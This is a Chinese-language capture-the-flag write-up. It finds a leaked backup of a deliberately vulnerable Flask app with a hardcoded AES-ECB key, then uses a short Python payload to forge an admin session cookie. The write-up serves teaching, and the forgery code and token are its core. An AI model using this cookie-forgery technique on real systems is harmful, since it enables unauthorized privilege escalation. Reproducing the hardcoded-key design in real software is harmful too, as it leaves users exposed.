加密漏洞

网络安全 Dec 18, 2025

进入网站发现有用户名与密码均为guest的用户,登录进去查看。

因没有可交互的地方且为普通用户权限不够。

尝试利用robots.txt文件查看不允许网络搜索引擎的漫游器获取的文件。

robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,它通常告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。因为一些系统中的URL是大小写敏感的,所以robots.txt的文件名应统一为小写。robots.txt应放置于网站的根目录下。如果想单独定义搜索引擎的漫游器访问子目录时的行为,那么可以将自定的设置合并到根目录下的robots.txt,或者使用robots元数据(Metadata)。

发现一个app.py.bak文件,将其输入到URL后下载发现是生成cookie的代码文件。

from flask import Flask, render_template, request, redirect, url_for, make_response
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
import json
import os
import datetime

app = Flask(__name__)

# ---------------------------------------------------
# CRYPTO CONFIGURATION (VULNERABLE)
# ---------------------------------------------------
# HARDCODED KEY! This is the primary vulnerability.
# AES-ECB is also used, which is weak, but the key leak is the fatal flaw.
SECRET_KEY = b'SafeBox_Secret_K' # 16 bytes
BLOCK_SIZE = 16

def encrypt_data(data):
    cipher = AES.new(SECRET_KEY, AES.MODE_ECB)
    ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), BLOCK_SIZE))
    return base64.b64encode(ct_bytes).decode('utf-8')

def decrypt_data(b64_data):
    try:
        ct = base64.b64decode(b64_data)
        cipher = AES.new(SECRET_KEY, AES.MODE_ECB)
        pt = unpad(cipher.decrypt(ct), BLOCK_SIZE)
        return pt.decode('utf-8')
    except (ValueError, KeyError):
        return None

# ---------------------------------------------------
# ROUTES
# ---------------------------------------------------

@app.route('/')
def index():
    auth_cookie = request.cookies.get('auth_token')
    if auth_cookie:
        user_data_json = decrypt_data(auth_cookie)
        if user_data_json:
            user_data = json.loads(user_data_json)
            return redirect(url_for('dashboard'))
    return redirect(url_for('login'))

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        
        # Simple Login Logic (No database for simplicity in this specific lab, focused on Crypto)
        if username == 'guest' and password == 'guest':
            user_data = json.dumps({'username': 'guest', 'role': 'user', 'exp': str(datetime.datetime.now())})
            token = encrypt_data(user_data)
            
            resp = make_response(redirect(url_for('dashboard')))
            resp.set_cookie('auth_token', token)
            return resp
        else:
            return render_template('login.html', error="Invalid credentials. Try guest/guest")
            
    return render_template('login.html')

@app.route('/logout')
def logout():
    resp = make_response(redirect(url_for('login')))
    resp.set_cookie('auth_token', '', expires=0)
    return resp

@app.route('/dashboard')
def dashboard():
    auth_cookie = request.cookies.get('auth_token')
    if not auth_cookie:
        return redirect(url_for('login'))
        
    user_data_json = decrypt_data(auth_cookie)
    if not user_data_json:
        return redirect(url_for('login'))
        
    user_data = json.loads(user_data_json)
    
    if user_data.get('role') == 'admin':
        return render_template('admin.html', user=user_data, flag="flag{dont_hardcode_keys_and_dont_roll_your_own_crypto}")
    else:
        return render_template('dashboard.html', user=user_data)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

该代码存在漏洞,将密钥与加密方法均写在代码文件中,我们便可利用泄露的密钥与加密方法将"role"改为"admin"构建一个payload文件生成"admin"管理员token。

#Payload代码

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
import json
import datetime

SECRET_KEY = b'SafeBox_Secret_K'
BLOCK_SIZE = 16

def encrypt_data(data):
    cipher = AES.new(SECRET_KEY, AES.MODE_ECB)
    ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), BLOCK_SIZE))
    return base64.b64encode(ct_bytes).decode('utf-8')

# 构造 Payload
admin_payload = json.dumps({
    'username': 'admin',
    'role': 'admin',
    'exp': str(datetime.datetime.now())
})

print(f"Admin Token: {encrypt_data(admin_payload)}")

执行结果
Admin Token: lWfFm0XN7GE3GaHQb+neJDfwA2wfT5ZMFo12i+o00BKMCEQAMdrdxwMnxiaPvg9MnxiATf1lnDoHgRCtNRUfbSrYIDqqyXJE5kBBgg5bx4Q=

将得到的原本的token改为得到的结果刷新网页,我们将返回到admin管理员页面。

Tags